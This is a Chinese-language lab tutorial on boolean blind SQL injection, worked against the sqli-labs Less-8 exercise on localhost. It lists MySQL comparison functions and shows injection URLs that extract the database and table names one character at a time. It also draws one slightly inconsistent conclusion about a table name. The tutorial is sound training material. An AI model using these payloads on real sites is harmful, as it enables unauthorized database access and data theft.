SQL盲注——布尔注入
布尔注入原理
代码存在SQL注入漏洞
然而页面即不会回显数据,也不会回显错误信息,只返回“Right”与“Wrong”
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”与“假”来识别我们的判断是否正确,这即是布尔盲注!
布尔盲注方法
构造逻辑判断语句,判断信息真假,取出所有的真值,实现SQL注入
|
方法 | 例子 | 说明 |
---|---|---|
Left() 函数 | left(database(),1)>‘s’ | database()显示数据库名称,left(a,b)从左到右截取a的前b位 |
regexp | select user() regexp ‘^r’ | 正则表达式的用法,user()结果为root,regexp 为匹配 root 的正则表达式 |
like | select user()like’ro%’ | 与regexp类似,使用like进行匹配 |
substr()函数 ascii()函数 | ascii(substr((select database()),1,1))=98 | substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值 |
ord() 函数 mid() 函数 | ord(mid((select user()),1,1))=114 | mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值 |
实操
这次我们使用sqli-labs第八关来进行学习
1.先判断有无注入点
从此我没可以看出存在注入点,并且不会回显数据,但当语句正确是会返回You are in …错误则无返回。从此可知我们可以采用盲注的方法进行sql注入。
我们先使用left()来进行测试
127.0.0.1/Less-8/?id=1'and left((select database()),1)='a'--+
127.0.0.1/Less-8/?id=1'and left((select database()),1)='s'--+
从此我们可以知道当前库的第一位是’s‘了。
接下来我们使用information来查询所有数据
我们首先来查询一下他的表
127.0.0.1/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a'--+
127.0.0.1/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
说明当前库第一个表第一个名称的第一个字符是’s‘
然后接下来就可以按照这个方式不断尝试,找到自己想要的数据了,但是这种方法是比较慢的,我们可以借助工具进行注入。比如Burp Suite。